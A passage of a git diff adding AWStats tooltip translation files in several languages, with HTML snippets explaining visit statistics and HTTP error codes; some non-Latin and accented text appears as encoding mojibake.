net�j�nar sem s�ktir eru af v�rusi, sem reyna a� framkv�ma �kve�nar heims�knir � vef�j�n �inn til a� s�kja hann. � flestum tilfellum n�ta sl�kir ormar s�r �ryggisholur � g�mlum vef�j�num. Ef kerfi �itt er ekki <b>s�kjanlegt</b> af �essum ormi getur �� hunsa� �essi innlit.<br /> +�a� eru mj�g f�ir 'net�j�naormar' til � heiminum en �eir eru mj�g virkir � �kve�num t�mum. +#PROG# getur �ekkt <b>#WormsArray#</b> mismunandi orma (Nimda, Code Red...). +</div> +<div class="CTooltip" id="tt201">Engin l�sing er til � �essari villu.</div> +<div class="CTooltip" id="tt202">�j�nninn skildi bei�nina en afgrei�ir hana s��ar.</div> +<div class="CTooltip" id="tt204">�j�nninn hefur afgreitt bei�nina en �a� vantar skr�na sem � a� senda.</div> +<div class="CTooltip" id="tt206">Einungis hluti skr�ar afgreiddur.</div> +<div class="CTooltip" id="tt301">Umbe�in skr� hefur veri� f�r� � n�tt veffang sem sent var me� � svarinu.</div> +<div class="CTooltip" id="tt302">Engin l�sing er til � �essari villu.</div> +<div class="CTooltip" id="tt400">St�lvilla, �j�nninn skildi ekki bei�nina.</div> +<div class="CTooltip" id="tt401">Be�i� var um <b>vefsl�� �ar sem notandanafns er krafist</b>.<br />Ef miki� er um �etta getur �a� bent til �ess a� tilraunir s�u ger�ar til a� brj�tast inn � s��u � me� m�rgum samsetningum af notendan�fnum og lykilor�um (til a� f� a�gang a� g�gnum sem eru h�� a�gangsst�ringu).</div> +<div class="CTooltip" id="tt403">Be�i� var um afgrei�slu � <b>vefsl�� sem ekki � a� vera a�gengileg jafnvel ��tt r�tt notendanafn og lykilor� hafi veri� nota�)</b> (G�ti veri� mappa sem ekki er merkt "vafranleg".).</div> +<div class="CTooltip" id="tt404">Be�i� var um <b>vefsl�� sem ekki er til</b>. �essi villa kemur oft upp �egar tengill � vefs��u inniheldur villu e�a gestur sl�r vitlausa sl�� � vafrann sinn.</div> +<div class="CTooltip" id="tt408">�j�nninn hefur teki� <b>of langan t�ma</b> � afgrei�slu bei�ninnar. �essi villa gefur oft til kynna h�ga CGI skriftu sem �j�nninn neyddist til a� drepa e�a mj�g upptekinn vef�j�n.</div> +<div class="CTooltip" id="tt500">Innri villa hefur komi� upp � �j�ni. �essi villa kemur oft upp ef CGI forrit hefur loki� keyrslu � �e�lilegan h�tt.</div> +<div class="CTooltip" id="tt501">Bei�ni er ekki �ekkt.</div> +<div class="CTooltip" id="tt502">Villubo� sem skila� er af vef�j�ni sem �j�nar sem vefsel e�a g�tt �egar umbe�in �j�nustuv�l svarar ekki fyrirspurnum fr� gestum.</div> +<div class="CTooltip" id="tt503">Innri villa kom upp � �j�ni.</div> +<div class="CTooltip" id="tt504">Samband rofna�i vi� g�tt.</div> +<div class="CTooltip" id="tt505">HTTP �tg�fa er ekki studd.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-it.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-it.txt new file mode 100644 index 0000000..b80ae63 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-it.txt @@ -0,0 +1,76 @@ +<!-- Italian tooltips message file (starknight@starkingdom.it) --> +<!-- $Revision: 1.3 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Per nuova visita si intende ogni <b>nuovo visitatore</b> che visualizza o consulta una pagina e non si � connesso al sito negli ultimi <b>#VisitTimeOut# minuti</b>. +</div> +<div class="CTooltip" id="tt2"> +Numero di client host (<b>indirizzi IP</b>) che hanno visitato il sito (e visualizzato almeno una <b>pagina</b>).<br /> +Questa cifra riflette il numero di <b>persone fisiche diverse</b> che si sono collegate al sito. +</div> +<div class="CTooltip" id="tt3"> +Numero di volte in cui <b>una pagina</b> del sito � stata <b>visualizzata</b> (somma di tutti i visitatori, per tutte le visite).<br /> +Questo valore � diverso dagli "accessi" perch� considera solamente le pagine HTML e non le immagini o gli altri elementi. +</div> +<div class="CTooltip" id="tt4"> +Numero di volte in cui <b>una pagina, una immagine o un elemento</b> � stato <b>visualizzato</b> o <b>scaricato</b> da qualcuno.<br /> +Questo valore viene fornito solo per completezza in quanto il numero delle "pagine" visualizzate spesso � preferibile ai fini commerciali. +</div> +<div class="CTooltip" id="tt5"> +Questo valore indica la quantit� di dati scaricati per tutte le <b>pagine</b>, le <b>immagini</b> e i <b>file</b> presenti sul sito.<br /> +Le unit� di misura sono espresse in KB, MB o GB (KiloByte, MegaByte o GigaByte) +</div> +<div class="CTooltip" id="tt13"> +#PROG# � in grado di riconoscere gli accessi al sito provenienti dalle <b>ricerche</b> sui <b>#SearchEnginesArray# motori di ricerca pi� famosi </b> (come Yahoo, Altavista, Lycos, Google, Voila, ecc.). +</div> +<div class="CTooltip" id="tt14"> +Elenco delle <b>pagine di siti esterni</b> contenenti un link che � stato seguito per accedere a questo sito (solo le <b>#MaxNbOfRefererShown#</b> pagine esterne pi� utilizzate sono visualizzate). +I link presenti nelle pagine dei motori di ricerca sono esclusi in quanto gi� conteggiati nel riquadro soprastante. +</div> +<div class="CTooltip" id="tt15"> +Questa tabella offre l'elenco delle <b>parole o frasi chiave</b> utilizzate pi� spesso per trovare il sito sui motori di ricerca. +(#PROG# � in grado di riconoscere le ricerche sui <b>#SearchEnginesArray#</b> motori di ricerca pi� famosi come Yahoo, Altavista, Lycos, Google, Voila, ecc.).<br /> +Notare che il totale delle ricerche sulle parole chiave potrebbe essere maggiore di quello sulle frasi chiave (il numero reale di ricerche) perch� quando 2 parole chiavi sono presenti sulla stessa ricerca questa viene conteggiata due volte (una per ciascuna parola). +</div> +<div class="CTooltip" id="tt16"> +I robot (noti anche col nome di spider) sono dei <b>visitatori automatici</b> utilizzati da molti motori di ricerca per analizzare il sito al fine di indicizzarlo, generare statistiche sui siti Web in Internet e/o verificare che sia ancora in linea.<br /> +#PROG# � in grado di riconoscere <b>#RobotArray#</b> robot. +</div> +<div class="CTooltip" id="tt17"> +Gli orari visualizzati sono basati sul fuso orario del server. +</div> +<div class="CTooltip" id="tt18"> +I dati qui riportati sono <b>valori medi</b> (calcolati su tutti i dati tra la prima e l'ultima visita nel periodo di tempo analizzato) +</div> +<div class="CTooltip" id="tt19"> +I dati qui riportati sono <b>somme cumulative</b> (calcolate su tutti i dati tra la prima e l'ultima visita nel periodo di tempo analizzato) +</div> +<div class="CTooltip" id="tt20"> +Alcune <b>Durate delle visite</b> sono 'sconosciute' perch� non possono essere sempre calcolate. Questi sono i casi pi� ricorrenti:<br /> +- La visita non era ancora conclusa quando sono state aggiornate (funzione 'update') le statistiche.<br /> +- La visita � iniziata durante l'ultima ora (dopo le 23:00) dell'ultimo giorno del mese (Una ragione tecnica impedisce ad #PROG# di calcolare la durata di queste sessioni) +</div> +<div class="CTooltip" id="tt21"> +I Worm sono dei <b>visitatori automatici</b> provenienti da server esterni, infettati da un virus, che provano ad +effettuare particolari visite al server del sito al fine di infettarlo. In molti casi questi worm sfruttano i bug +di alcuni server non aggiornati o di tipo commerciale. Se il vostro server non � l'<b>obiettivo sensibile</b> del worm potete +tranquillamente ignorare queste visite.<br /> Ci sono pochissimi 'server worm' al mondo ma questi talvolta dimostrano di essere +veramente efficaci. #PROG# � in grado di riconoscere <b>#WormsArray#</b> firme di worm noti (nimda, code red, ecc.). +</div> + +<div class="CTooltip" id="tt201"> Nessuna descrizione per questo errore. </div> +<div class="CTooltip" id="tt202"> Il server ha processato la richiesta ma verr� eseguita pi� tardi. </div> +<div class="CTooltip" id="tt204"> Il server ha processato la richiesta ma non ci sono documenti da visualizzare. </div> +<div class="CTooltip" id="tt206"> Contenuto parziale. </div> +<div class="CTooltip" id="tt301"> Il documento richiesto � stato spostato e si trova al momento ad un altro indirizzo, indicato nella risposta. </div> +<div class="CTooltip" id="tt302"> Nessuna descrizione per questo errore. </div> +<div class="CTooltip" id="tt400"> Errore di sintassi, il server non ha compreso la richiesta. </div> +<div class="CTooltip" id="tt401"> Tentativo di accesso a un <b>URL che richiede un'autenticazione tramite login e password</b>.<br />Un numero troppo elevato pu� significare che qualcuno (es. un hacker) sta cercando di forzare l'accesso al sito (ad esempio provando diverse combinazioni di login e password).</div> +<div class="CTooltip" id="tt403"> Tentativo di accesso a un <b>URL non configurato per essere accessibile, neppure tramite autenticazione</b> (ad esempio l'URL di una cartella il cui contenuto non pu� essere sfogliato). </div> +<div class="CTooltip" id="tt404"> Tentativo di accesso a un <b>URL inesistente</b>. Si tratta di un link non valido sul sito o di un errore di battitura del visitatore che ha indicato un URL non corretto. </div> +<div class="CTooltip" id="tt408"> Il server ha impiegato <b>troppo tempo</b> per rispondere alla richiesta. Pu� trattarsi di uno script CGI troppo lento obbligato ad abbandonare la richiesta oppure di un timeout dato dalla saturazione del sito. </div> +<div class="CTooltip" id="tt500"> Errore interno del server. Questo errore � quello restituito pi� di frequente durante la terminazione anormale di uno script CGI (per esempio a seguito di un coredump). </div> +<div class="CTooltip" id="tt501"> Azione richiesta di tipo sconosciuto. </div> +<div class="CTooltip" id="tt502"> Codice ritornato da un server HTTP che funge da proxy o da gateway quando il vero server destinatario non risponde alla richiesta del client. </div> +<div class="CTooltip" id="tt503"> Errore interno del server. </div> +<div class="CTooltip" id="tt504"> Time-out del gateway. </div> +<div class="CTooltip" id="tt505"> Versione HTTP non supportata. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-jp.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-jp.txt new file mode 100644 index 0000000..ac581b6 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-jp.txt @@ -0,0 +1,63 @@ +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<!-- Japanese message file (info@kchosting.jp) --> +<div class="CTooltip" id="tt1"> +<b>#VisitTimeOut# 分</b>前までの訪問数。 +</div> +<div class="CTooltip" id="tt2"> +最低<b>1ページ</b>を訪問したクライアントホスト(<b>IPアドレス</b>)。<br /> +これは訪問者の実数です。 +<br /> +</div> +<div class="CTooltip" id="tt3"> +ページが表示された回数(すべての訪問者と訪問の合計)。<br /> +このデータは「件数」とは違い、HTMLファイルのみが入っています。 +</div> +<div class="CTooltip" id="tt4"> +<b>ページ、画像、ファイル</b>が表示された回数。<br /> +参照程度にお使いください。 +</div> +<div class="CTooltip" id="tt5"> +すべての<b>ページ、画像、ファイル</b>のダウンロードによるデータ転送量。<br /> +単位は KB 、MB または GB 。 +</div> +<div class="CTooltip" id="tt13"> +人気のある検索エンジン(Yahoo、Altavista、Lycos、Google、Voilaなど)での検索によるアクセス。 +</div> +<div class="CTooltip" id="tt14"> +ユーザー(コンピュータ)がこのサイトについての情報を得た外部ページ。 +</div> +<div class="CTooltip" id="tt15"> +このサイトにアクセスするために検索エンジンで入力された<b>キーワード</b>のリスト。 +</div> +<div class="CTooltip" id="tt16"> +ロボット(別名スパイダー)とは、ウェブ中を動き回って全てのコンテンツを中央サーバー上に保存するコンピューター・プログラム。</div> +<div class="CTooltip" id="tt17"> +これらのデータはサーバー時間に基づいています。 +</div> +<div class="CTooltip" id="tt18"> +最初から最後までの訪問で集めたデータによって計算した<b>平均数</b>。 +</div> +<div class="CTooltip" id="tt19"> +最初から最後までの訪問で集めたデータによって計算した<b>総数</b>。 +</div> + +<div class="CTooltip" id="tt201"> POST が成功。またはPUT が新しいオブジェクトを作成。</div> +<div class="CTooltip" id="tt202"> 要求は、受付たが、処理未完了。</div> +<div class="CTooltip" id="tt204"> サーバーは要求を受付けたが、返す情報がない。</div> +<div class="CTooltip" id="tt206"> サーバーは、情報の一部を得た。</div> +<div class="CTooltip" id="tt301"> 要求された情報は、恒久的に移動した。</div> +<div class="CTooltip" id="tt302"> 要求された情報は、一時的に移動した。</div> +<div class="CTooltip" id="tt400"> 要求を実行できない。(構文が不正) </div> +<div class="CTooltip" id="tt401"> 情報の要求に認証を必要とする。または、認証の拒否。</div> +<div class="CTooltip" id="tt403"> 要求の拒否。認証が不完全。</div> +<div class="CTooltip" id="tt404"> 要求された情報(ファイル)がない。</div> +<div class="CTooltip" id="tt408"> サーバーが待機時間内にクライアントが要求を送れなかった。</div> +<div class="CTooltip" id="tt500"> 予期しないサーバーエラーのため、要求を実行できなかった。</div> +<div class="CTooltip" id="tt501"> サーバーは、要求された機能をサポートしていない。</div> +<div class="CTooltip" id="tt502"> クライアントより見て、ゲートウエイまたはプロキシーサーバの接続先サーバの応答が妥当でないことを示す。</div> +<div class="CTooltip" id="tt503"> サービス(サーバー)が高負荷。Retry-Afterヘッダに示す時間後には緩和される。応答文中にRetry-Afterヘッダがなければ、クライアントは応答を500番と同等に扱う必要がある。 </div> +<div class="CTooltip" id="tt504"> ゲートウエイまたはプロキシの応答がゲートウエイの指定時間内に得られない。</div> +<div class="CTooltip" id="tt505"> HTTP バージョンをサポートしていない。</div> + + + diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-kr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-kr.txt new file mode 100644 index 0000000..b5d8af0 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-kr.txt @@ -0,0 +1,62 @@ +<!-- Korean tooltips message file --> +<!-- $Revision: 1.1 $ - $Date: 2004/02/07 16:14:10 $ --> +<div class="CTooltip" id="tt1"> +���ο� �湮�� ������(<b>#VisitTimeOut# ���̳�</b>) +����� ����Ʈ�� �������� ����(���ų� ����¡ ���� ����) ���ο� +<b>�湮��</b>�� ��Ÿ���ϴ�. +</div> +<div class="CTooltip" id="tt2"> +Ŭ���̾�Ʈ ȣ��Ʈ ��(<b>IP �ּ�</b>)�� �湮�� ����Ʈ ���� ��Ÿ���ϴ�.(�ּ��� <b>�� ������</b>�� �� ����Ʈ)<br /> +�� �ڷ�� �Ϻ� <b>���������� �ٸ� �����</b>���� ��Ÿ���ϴ�. +</div> +<div class="CTooltip" id="tt3"> +����Ʈ���� <b>��(view) ������</b> ȸ���� ��Ÿ���ϴ�. +(��� �湮���� ��)<br /> + �� �ڷ�� �̹���, ���ϰ� �� HTML ������������ "��ȸ��(hit)"�ʹ� �ٸ��ϴ�. +</div> +<div class="CTooltip" id="tt4"> +<b>������, �̹���, ����</b>�� <b>���ų� �ٿ�ε�</b>�� ȸ���� ��Ÿ���ϴ�.<br /> +�� �ڷ�� ���������θ� �����˴ϴ�. �ֳ��ϸ� �� "������"�� ���� �������� �������� ���� �� �ֱ� �����Դϴ�. +</div> +<div class="CTooltip" id="tt5"> +�� �������� �ٿ�ε��� ��� <b>������</b>, <b>�̹���</b>, <b>����</b> ���� Kb������ ��Ÿ���ϴ�. +</div> +<div class="CTooltip" id="tt13"> +#PROG# �� <b>#SearchEnginesArray#</b>�� <b>�˻�</b>���� ����� ����Ʈ�� ���� ������ �ĺ��� �� �ֽ��ϴ�. +</div> +<div class="CTooltip" id="tt14"> +����� ����Ʈ�� ��ũ�� ��� <b>�ܺ� ������</b><br /> +(<b>#MaxNbOfRefererShown#</b>�� ���� ���� ���Ǵ� �ܺ� �������� ��Ÿ���ϴ�.) + �˻� ������ ���� ����������� ���� ��ũ�� ����� ���ܵ˴ϴ�. + (�� ���̺��� ������ �̹� ���� �ֽ��ϴ�.) +</div> +<div class="CTooltip" id="tt15"> +�� ���̺��� ����� ����Ʈ���� ���� ���� ���Ǵ� <b>Ű����</b> ����� �����ݴϴ�. + (���� ��ȣ�ϴ� �˻����� Yahoo, Altavista, Lycos, Google, Voila��� ���� +<b>#SearchEnginesArray#</b>�� Ű���带 #PROG#�� �ĺ��� �� �ֽ��ϴ�. +</div> +<div class="CTooltip" id="tt16"> +�κ�Ʈ (���δ� �����̴��� ����)�� ���� �˻� �������� ���Ǵ� +<b>�ڵ�ȭ�� ������ ����</b>�Դϴ�. �� ������ (1) ������Ʈ�� ���ȭ�ϰ� +������ �ο��ϰ� (2) ���ͳ� �� ����Ʈ�� ��踦 �����ϰ� (3) ����� +����Ʈ�� ������ ��밡������ �����մϴ�.<br /> +#PROG#�� <b>#RobotArray#</b> �κ�Ʈ�� �ĺ��� �� �ֽ��ϴ�. +</div> + +<div class="CTooltip" id="tt201"> �� ������ ���� ������ �����ϴ�. </div> +<div class="CTooltip" id="tt202"> ��û�� ������ ���� ���̻� ����� �� �����ϴ�. </div> +<div class="CTooltip" id="tt204"> ������ ��û�� ó�������� ������ ������ �����ϴ�. </div> +<div class="CTooltip" id="tt206"> �Ϻ� ����. </div> +<div class="CTooltip" id="tt301"> ��û�� ������ �Ű����� �ٸ� �ּҸ� ����մϴ�. </div> +<div class="CTooltip" id="tt302"> �� ������ ���� ������ �����ϴ�. </div> +<div class="CTooltip" id="tt400"> ���� ����, ������ �� ��û�� �� �� �����ϴ�. </div> +<div class="CTooltip" id="tt401"> <b>URL�� ������ ���ؼ��� �α���/�н����� �� �ʿ��մϴ�.</b><br />�� ���� �ְ����� ������ ũ���� �õ��ϰų� ����� ����Ʈ�� ������ �õ��ϰ� �ִ� ��(�ٸ� �α���/�н����带 ����Ͽ� �õ��ϴ°�) �� �ǹ��մϴ�. </div> +<div class="CTooltip" id="tt403"> <b>��밡���ϰ� �����Ǿ� ���� �ʴ� URL</b>�� ���� ���ӽõ� ���� �Դϴ�. (���� ���, ���丮���Դ��� "����¡"�� ���ǵ��� ���� ����Դϴ�.) </div> +<div class="CTooltip" id="tt404"> <b>�������� �ʴ� URL</b>�� ���� ���� �õ� �����Դϴ�. �� ������ ���� ����� ����Ʈ ����� �߸��� ��ũ�� �־� �湮�ڵ��� �߸��� URL�� �����ϴ� ��쿡 ���մϴ�. </div> +<div class="CTooltip" id="tt408"> �������� ��û�� ���� <b>�ʹ� ���� ���� �ð�</b>�� �䱸�մϴ�. �� ������ ���� ���� CGI ��ũ��Ʈ �����̰ų� ������ ��뷮�� ���� ��쿡 ���մϴ�. </div> +<div class="CTooltip" id="tt500"> ���� ����. �� ������ ���� CGI���α��� ������������ ����Ǿ��� �� ���մϴ�. </div> +<div class="CTooltip" id="tt501"> ��û�� ������ �˼� �����ϴ�. </div> +<div class="CTooltip" id="tt502"> HTTP ������ ���� �ݼ۵� �ڵ尡 �����ó� ����Ʈ���̷� �����մϴ�. ��� ������ Ŭ���̾�Ʈ�� ��û�� ��Ȯ�ϰ� ������ ���� ���մϴ�. </div> +<div class="CTooltip" id="tt503"> ���� ���� ����. </div> +<div class="CTooltip" id="tt504"> ����Ʈ���� �ð��ʰ�. </div> +<div class="CTooltip" id="tt505"> HTTP ������ �������� �ʽ��ϴ�. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nb.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nb.txt new file mode 100644 index 0000000..7dd0bb6 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nb.txt @@ -0,0 +1,62 @@ +<!-- Norwegian Bokm�l tooltips message file (by Axel Wulff S�ther <axel@bigfoot.com>) --> +<!-- $Revision: 1.2 $ - $Date: 2008/10/05 11:13:13 $ --> +<div class="CTooltip" id="tt1"> +Ett nytt bes�k er en ny <b>gjest</b> som ikke har v�rt tilkoplet nettstedet siste <b>#VisitTimeOut# min</b>. +</div> +<div class="CTooltip" id="tt2"> +Antall klientverter (<b>IP-adresser</b>) som har bes�kt nettstedet, og har sett minst en <b>side</b>).<br /> +Denne informasjonen gjelder antallet <b>forskjellige personer</b> som har bes�kt siden. +</div> +<div class="CTooltip" id="tt3"> +Antall ganger en <b>side</b> p� nettstedet har blitt <b>vist</b>.<br /> +Denne informasjonen skiller seg fra �treff� ved � bare telle HTML-sider, og ikke bilder og andre filer. +</div> +<div class="CTooltip" id="tt4"> +Antall ganger en <b>side</b>, et <b>bilde</b> eller en <b>fil</b> p� nettstedet har blitt <b>vist</b> eller <b>lastet ned</b>. +</div> +<div class="CTooltip" id="tt5"> +Denne informasjonen viser hvor mye data som har blitt lastet ned totalt (<b>sider</b>, <b>bilder</b> eller andre <b>filer</b>).<br /> +Enhetene er KB, MB eller GB (kilobyte, megabyte eller gigabyte) +</div> +<div class="CTooltip" id="tt13"> +#PROG# kan se n�r et bes�k p� nettstedet ditt kommer fra et <b>s�k</b> p� de <b>#SearchEnginesArray# mest popul�re s�kemotorene og emnekatalogane</b> (f.eks. Yahoo, Altavista, Lycos, Google og Kvasir). +</div> +<div class="CTooltip" id="tt14"> +Liste over alle <b>eksterne sider</b> som har lenker til nettstedet ditt (bare de <b>#MaxNbOfRefererShown#</b> mest brukte eksterne sider blir vist). +Lenker fra s�kemotorer er ikke inkludert her, siden disse allerede er oppf�rt i forrige del av denne tabellen. +</div> +<div class="CTooltip" id="tt15"> +Denne tabellen viser de mest brukte <b>s�keordene</b> brukt til � finna nettstedet ditt i s�kemotorer og emnekataloger. +(S�keord fra de <b>#SearchEnginesArray#</b> mest popul�re s�kemotorene og emnekatalogene kan leses av #PROG#, f.eks. Yahoo, Altavista, Lycos, Google, og Kvasir). +</div> +<div class="CTooltip" id="tt16"> +Roboter blir brukt av mange s�kemotorer som bes�ker nettstedet ditt for � indeksere og rangere det, samle statistikk om nettsteder, og/eller se om nettstedet fremdeles er tilgjengelig.<br /> +#PROG# kjenner til <b>#RobotArray#</b> roboter. +</div> +<div class="CTooltip" id="tt17"> +All tidsrelatert statistikk er basert p� tjenertid. +</div> +<div class="CTooltip" id="tt18"> +Rapporterte tall er <b>gjennomsnittsverdier</b> (regnet ut fra alle data mellom f�rste og siste bes�k) +</div> +<div class="CTooltip" id="tt19"> +Rapporterte tall er <b>kumulative summer</b> (regnet ut fra alle data mellom f�rste og siste bes�k) +</div> + +<div class="CTooltip" id="tt201"> Ingen beskrivelse av denne feilen. </div> +<div class="CTooltip" id="tt202"> Foresp�rselen var forst�tt av tjeneren men vil bli prosessert senere. </div> +<div class="CTooltip" id="tt204"> Tjeneren har prosessert foresp�rselen men har ikke noe innhold � sende. </div> +<div class="CTooltip" id="tt206"> Delvis innhold. </div> +<div class="CTooltip" id="tt301"> Det forespurte dokumentet er flyttet, og finnes n� p� en annen side. Brukeren blir automatisk videresendt til den nye adressen. </div> +<div class="CTooltip" id="tt302"> Ingen beskrivelse av denne feilen. </div> +<div class="CTooltip" id="tt400"> Syntaksfeil. Tjeneren forsto ikke foresp�rselen. </div> +<div class="CTooltip" id="tt401"> Pr�vde � hente en <b>side som var passordbeskyttet</b>.<br />Mange slike feilmeldinger kan bety at noen pr�ver � bryte seg inn p� nettstedet ditt. </div> +<div class="CTooltip" id="tt403"> Pr�vde � hente en <b>side som er utilgjengelig (selv med passord)</b> (for eksempel en katalog som er definert som ikke lesbar). </div> +<div class="CTooltip" id="tt404"> Pr�vde � hente en <b>ikke-eksisterende side</b>. Denne feilen betyr oftest at det er en lenke en eller annen plass p� nettstedet ditt (eller p� en ekstern side) som ikke fungerer, og som m� oppdateres. </div> +<div class="CTooltip" id="tt408"> Tjeneren har brukt <b>for mye tid</b> p� � svare p� en foresp�rsel. Denne feilen gjelder enten et tregt CGI-skript tjenaren m�tte avslutte, eller tungt trafikkert tjenar. </div> +<div class="CTooltip" id="tt500"> Intern feil. Denne feilen kommer ofte av CGI-skript som har blitt avsluttet unormalt. </div> +<div class="CTooltip" id="tt501"> Ukjent foresp�rsel. </div> +<div class="CTooltip" id="tt502"> Kode returnert av ein HTTP-tjener som fungerer som proxy eller systemport n�r en ekte tjener ikke svarer p� foresp�rselen. </div> +<div class="CTooltip" id="tt503"> Intern tjenerfeil. </div> +<div class="CTooltip" id="tt504"> Systemport tidsavbrutt. </div> +<div class="CTooltip" id="tt505"> St�tter ikke HTTP-versjonen. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nl.txt new file mode 100644 index 0000000..da7e228 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nl.txt @@ -0,0 +1,53 @@ +<!-- $Revision: 1.1 $ - $Date: 2004/02/07 16:14:10 $ --> +<div class="CTooltip" id="tt1"> +Een nieuw bezoek is elke <b>binnenkomende bezoeker</b> (die een pagina bekijkt) die de laatste <b>#VisitTimeOut# mn</b> niet met uw site verbonden was. +</div> +<div class="CTooltip" id="tt2"> +Aantal client hosts (<b>IP adres</b>) die de site bezochten (en minimaal een <b>pagina</b> bekeken).<br /> +Dit geeft aan hoeveel <b>verschillende fysieke personen</b> de site op een bepaalde dag bezocht hebben. +</div> +<div class="CTooltip" id="tt3"> +Aantal malen dat een <b>pagina</b> van de site <b>bekeken</b> is (Som voor alle bezoekers voor alle bezoeken).<br /> +Dit onderdeel verschilt van "hits" in het feit dat het alleen HTML pagina's telt, in tegenstelling tot plaatjes en andere bestanden. +</div> +<div class="CTooltip" id="tt4"> +Aantal malen dat een <b>pagina</b>, <b>plaatje</b> of <b>bestand</b> op de site door iemand is <b>bekeken</b> of <b>gedownload</b>.<br /> +Dit onderdeel is alleen als referentie gegeven, omdat het aantal bekeken "pagina's" voor marketingdoeleinden de voorkeur heeft. +</div> +<div class="CTooltip" id="tt5"> +Aantal door uw bezoekers gedownloade <b>kibibytes</b>.<br /> +Dit onderdeel geeft de hoeveelheid gedownloade gegevens in alle <b>pagina's</b>, <b>plaatjes</b> en <b>bestanden</b> van uw site, gemeten in KiBs. +</div> +<div class="CTooltip" id="tt13"> +Dit programma, #PROG#, herkent elke benadering van uw site na een <b>zoekopdracht</b> van de <b>#SearchEnginesArray# meest populaire Internet zoekmachines</b> (zoals Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt14"> +Lijst van alle <b>externe pagina's</b> die zijn gebruikt om naar uw site te linken (of deze te benaderen) (Alleen de <b>#MaxNbOfRefererShown#</b> meest gebruikte externe pagina's zijn getoond. +Links gebruikt door de resultaten van zoekmachines worden hiet niet getoond omdat deze al zijn opgenomen in de vorige regel van deze tabel. +</div> +<div class="CTooltip" id="tt15"> +Deze tabel toont de lijst van <b>keywords</b> die het meest zijn gebruikt om uw site te vindein in Internet zoekmachines. +(Keywords van de <b>#SearchEnginesArray#</b> meest populaire zoekmachines worden door #PROG# herkend, zoals Yahoo, Altavista, Lycos, Google, Voila, etc...). +</div> +<div class="CTooltip" id="tt16"> +Robots (soms Spiders genoemd) zijn <b>automatische bezoekcomputers</b> die door veel zoekmachines worden gebruikt om uw site te scannen om (1) deze te indexeren, (2) statistieken over Internet sites te verzamelen en/of (3) te kijken of site nog steeds on-line is.<br /> +Dit programma, #PROG#, is in staat maximaal <b>#RobotArray#</b> robots te herkennen</b>. +</div> + +<div class="CTooltip" id="tt201"> Geen beschrijving voor deze foutmelding. </div> +<div class="CTooltip" id="tt202"> De server heeft het verzoek begrepen, maar zal deze later behandelen. </div> +<div class="CTooltip" id="tt204"> De server heeft het verzoek verwerkt, maar er is geen document om te verzenden. </div> +<div class="CTooltip" id="tt206"> Gedeeltelijke inhoud. </div> +<div class="CTooltip" id="tt301"> Het aangevraagde document is verplaatst en is nu op een andere locatie die in het antwoord gegeven is. </div> +<div class="CTooltip" id="tt302"> Geen beschrijving voor deze foutmelding. </div> +<div class="CTooltip" id="tt400"> "Taalfout", de server begreep het verzoek niet. </div> +<div class="CTooltip" id="tt401"> Er is gepoogd een <b>URL waarvoor een usernaam/wachtwoord noodzakelijk is</b> te benaderen.<br />Een hoog aantal van deze meldingen kan betekenen dat iemand (zoals een hacker) probeert uw site te kraken, of uw site binnen te komen (pogend een beveiligd onderdeel van uw site te benaderen door verschillende usernamen/wachtwoorden te proberen, bijvoorbeeld). </div> +<div class="CTooltip" id="tt403"> Er is gepoogd een <b>URL die is ingesteld om niet benaderbaar te zijn, zelfs met usernaam/wachtwoord</b> te benaderen (bijvoorbeeld, een URL in een directory die niet "doorbladerbaar" is). </div> +<div class="CTooltip" id="tt404"> Er is gepoogd een <b>niet bestaande URL</b> te benaderen. Deze fout betekent vaak dat er een ongeldige link in uw site zit of dat een bezoeker een URL foutief heeft ingevoerd. </div> +<div class="CTooltip" id="tt408"> De server heeft er <b>te lang</b> over gedaan om een antwoord op een aanvraag te geven. Het kan een CGI script zijn dat zo traag is dat de server hem heeft moeten afbreken of een overbelaste web server. </div> +<div class="CTooltip" id="tt500"> Interne fout. Deze error wordt vaak veroorzaakt door een CGI programma dat abnormaal is beeindigd (een core dump, bijvoorbeeld). </div> +<div class="CTooltip" id="tt501"> Onbekende actie aangevraagd. </div> +<div class="CTooltip" id="tt502"> Melding die door een proxy of gateway HTTP server wordt gegeven als een echte doelserver niet succesvol op de aanvraag van een client antwoordt. </div> +<div class="CTooltip" id="tt503"> Interne server fout. </div> +<div class="CTooltip" id="tt504"> Gateway time-out. </div> +<div class="CTooltip" id="tt505"> HTTP versie niet ondersteund. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nn.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nn.txt new file mode 100644 index 0000000..5fc6a95 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-nn.txt @@ -0,0 +1,68 @@ +<!-- Norwegian Nynorsk tooltips message file (by Karl Ove Hufthammer <karl@huftis.org>) 